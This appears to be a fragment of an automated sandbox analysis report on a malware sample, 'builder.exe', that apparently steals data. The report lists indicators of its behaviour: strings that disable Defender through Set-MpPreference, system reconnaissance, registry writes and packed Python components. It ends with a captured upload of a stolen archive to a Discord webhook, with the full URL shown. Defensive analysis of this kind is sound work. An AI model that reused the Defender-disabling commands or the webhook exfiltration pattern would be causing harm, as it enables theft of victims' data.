string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\systeminfo.exe" (Indicator: "\Device\"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp")6b:T98e,file/memory contains long string with (Indicator: "disablerealtimemonitoring"; File: "cmd.exe") file/memory contains long string with (Indicator: "disableioavprotection"; File: "cmd.exe") file/memory contains long string with (Indicator: "disablescriptscanning"; File: "cmd.exe") file/memory contains long string with (Indicator: "disableintrusionpreventionsystem"; File: "cmd.exe") file/memory contains long string with (Indicator: "disablerealtimemonitoring"; File: "powershell.exe") file/memory contains long string with (Indicator: "disableioavprotection"; File: "powershell.exe") file/memory contains long string with (Indicator: "disablescriptscanning"; File: "powershell.exe") file/memory contains long string with (Indicator: "disableintrusionpreventionsystem"; File: "powershell.exe") file/memory contains long string with (Indicator: "disablerealtimemonitoring"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "disableioavprotection"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "disablescriptscanning"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "disableintrusionpreventionsystem"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "disablerealtimemonitoring"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp") file/memory contains long string with (Indicator: "disableioavprotection"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp") file/memory contains long string with (Indicator: "disablescriptscanning"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp") file/memory contains long string with (Indicator: "disableintrusionpreventionsystem"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp")6c:T45a,file/memory contains long string with (Indicator: "Set-MpPreference"; File: "cmd.exe") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000000.176672.49EA0000.00000004.mdmp, 00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000000.176672.4B900000.00000004.mdmp, 00000000-00002000.00000001.177576.49EA0000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.4B900000.00000004.mdmp, 00000000-00002000.00000001.177576.64110000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp")6d:Tc4d,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "builder.exe") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "builder.exe") Found reference to API "GetSecurityDescriptorLength" (Indicator: "GetSecurityDescriptorLength"; File: "builder.exe") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "builder.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "builder.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "builder.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "builder.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "RtlInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "RtlCopySid" (Indicator: "CopySid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NtDuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp")6e:T10e0,"builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "798E4080B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A48B7E80B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "90465C81B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "39639680B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "9B647780B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "041F447CB85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "02F8A77FB85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "273C8F80B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "5A027580B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C3B28580B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "805D7D84B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C98AAE85B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B7277187B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "BC7AC888B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3B1D0F8AB85BDD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "29470283B85BDD010000000000000000000000000200000000")6f:T472,Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: builder.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: rar.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: rar.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: rar.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: rar.exe] Observed import api "GetSecurityDescriptorLength" which can "return the length in bytes of a structurally valid security descriptor" [Source: rar.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: rar.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: rar.exe]70:T926,"builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\BUILDER.EXE"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")71:T122e,"builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "798E4080B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A48B7E80B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "90465C81B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "39639680B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "9B647780B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "041F447CB85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "02F8A77FB85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "273C8F80B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "5A027580B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C3B28580B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "805D7D84B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C98AAE85B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B7277187B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "BC7AC888B85BDD010000000000000000000000000200000000") "builder.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3B1D0F8AB85BDD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "29470283B85BDD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "systeminfo.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "systeminfo.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\MLANG.DLL,-4386"; Value: "English (United States)")72:T53a,file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "cmd.exe") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000000.176672.49EA0000.00000004.mdmp, 00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000000.176672.4B900000.00000004.mdmp, 00000000-00002000.00000001.177576.49EA0000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.4B900000.00000004.mdmp, 00000000-00002000.00000001.177576.64110000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.49F50000.00000004.mdmp") file/memory contains long string with (Indicator: "Set-MpPreference"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64760000.00000004.mdmp")73:Tccf,"python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\python310.dll]- [targetUID: 00000000-00007276] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libcrypto-1_1.dll]- [targetUID: 00000000-00007276] "rar.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\rar.exe]- [targetUID: 00000000-00005028] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\sqlite3.dll]- [targetUID: 00000000-00007276] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libssl-1_1.dll]- [targetUID: 00000000-00007276] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI50282\VCRUNTIME140.dll]- [targetUID: 00000000-00001004] "Camera.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 3 sections"- Location: [%TEMP%\_MEI50282\Camera.exe]- [targetUID: 00000000-00004380] "libffi-7.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\libffi-7.dll]- [targetUID: 00000000-00007276] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\unicodedata.pyd]- [targetUID: 00000000-00007276] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_decimal.pyd]- [targetUID: 00000000-00005028] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_lzma.pyd]- [targetUID: 00000000-00007276] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ssl.pyd]- [targetUID: 00000000-00007276] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_ctypes.pyd]- [targetUID: 00000000-00007276] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_sqlite3.pyd]- [targetUID: 00000000-00007276] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_bz2.pyd]- [targetUID: 00000000-00007276] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_socket.pyd]- [targetUID: 00000000-00007276] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_hashlib.pyd]- [targetUID: 00000000-00007276] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\_queue.pyd]- [targetUID: 00000000-00007276] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\select.pyd]- [targetUID: 00000000-00007276] "tinyaes.cp310-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI50282\tinyaes.cp310-win_amd64.pyd]- [targetUID: 00000000-00007276]74:T506,"python310.dll" has section name UPX1 with entropy "7.999784509247865" "libcrypto-1_1.dll" has section name UPX1 with entropy "7.999686911091473" "sqlite3.dll" has section name UPX1 with entropy "7.9993075179051045" "libssl-1_1.dll" has section name UPX1 with entropy "7.9946316393661165" "Camera.exe" has section name CPX1 with entropy "7.876896555351122" "libffi-7.dll" has section name UPX1 with entropy "7.7328779603850775" "unicodedata.pyd" has section name UPX1 with entropy "7.998027542677241" "_decimal.pyd" has section name UPX1 with entropy "7.987725985192265" "_lzma.pyd" has section name UPX1 with entropy "7.9796063499004175" "_ssl.pyd" has section name UPX1 with entropy "7.964964482348986" "_ctypes.pyd" has section name UPX1 with entropy "7.945694475943624" "_sqlite3.pyd" has section name UPX1 with entropy "7.921324256506513" "_bz2.pyd" has section name UPX1 with entropy "7.942120887346651" "_socket.pyd" has section name UPX1 with entropy "7.8885090755351746" "_hashlib.pyd" has section name UPX1 with entropy "7.85747706175673" "_queue.pyd" has section name UPX1 with entropy "7.630290798677019" "select.pyd" has section name UPX1 with entropy "7.500683151977751" "tinyaes.cp310-win_amd64.pyd" has section name UPX1 with entropy "7.776594297295119"75:T2a9a,"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 8159 User-Agent: python-urllib3/2.0.3 Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" with payload::==> "--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="file"; filename="Blank-HAPUBWS.rar"Content-Type: application/octet-streamRar!Å¾æÌ!¡ë[sÍØØIÓÑSgR±|ÞBá¹\$C¯¤_3K¯r-ÉùLÈÁ}hP4ïÓnã£ââÌÿÈ£yüªG°là¾bÄ%Þfe}Éõ³¯·àé³RS?×ºÎ¯×t;jgï5F¥÷UÚ0v<õºå1rN¯èu4Å³Ù?úv#3f¿|z½|Å7yóóÎ]ym.OdMãäÈ âÛ6PvHpÿ.ÌÞÐ(kUÔ~òJæ1£We×,òÖæ¬zDq8j¡xx9Â¬T ¶s%@öiL[Y¶Hó¢ÇGµ«y¬Fñc|^¢¡AØ86¹Ë/îû¼%ÿ§¯íCå9úá_6ãDPHÛ*}%*¦]j¯Ð¦o[ú&ð±2õZê%"1f0·9kv*{¥´sñC°öÛjsÑ@37ÜBãëa¶ÈðöI9ûëÜ_y¥ä>esã+@Ü«Â@®ÌUxz´FþÛu6=6ZÐ+ÎfX?µ{½!%Eü¬Ä?ºÌñ3í*óJ+}ÞïQìIÐW?ÐÈfTÅ#ìUÂÅ]8Ê^Q&å®¡ýÄ}S¬7Òö»»KGàcÈI=ðfqWÐãRçx®ÍðÑ^SÎ·{ØõßD&Rê;ÛXîñ½ãÊN×BßiBÄ[ëÍáÒÛqà±>ò;!ÿ=ÎQã1~_É\r¥È!÷£í(öRR9´uËú¾!õzÊY0P 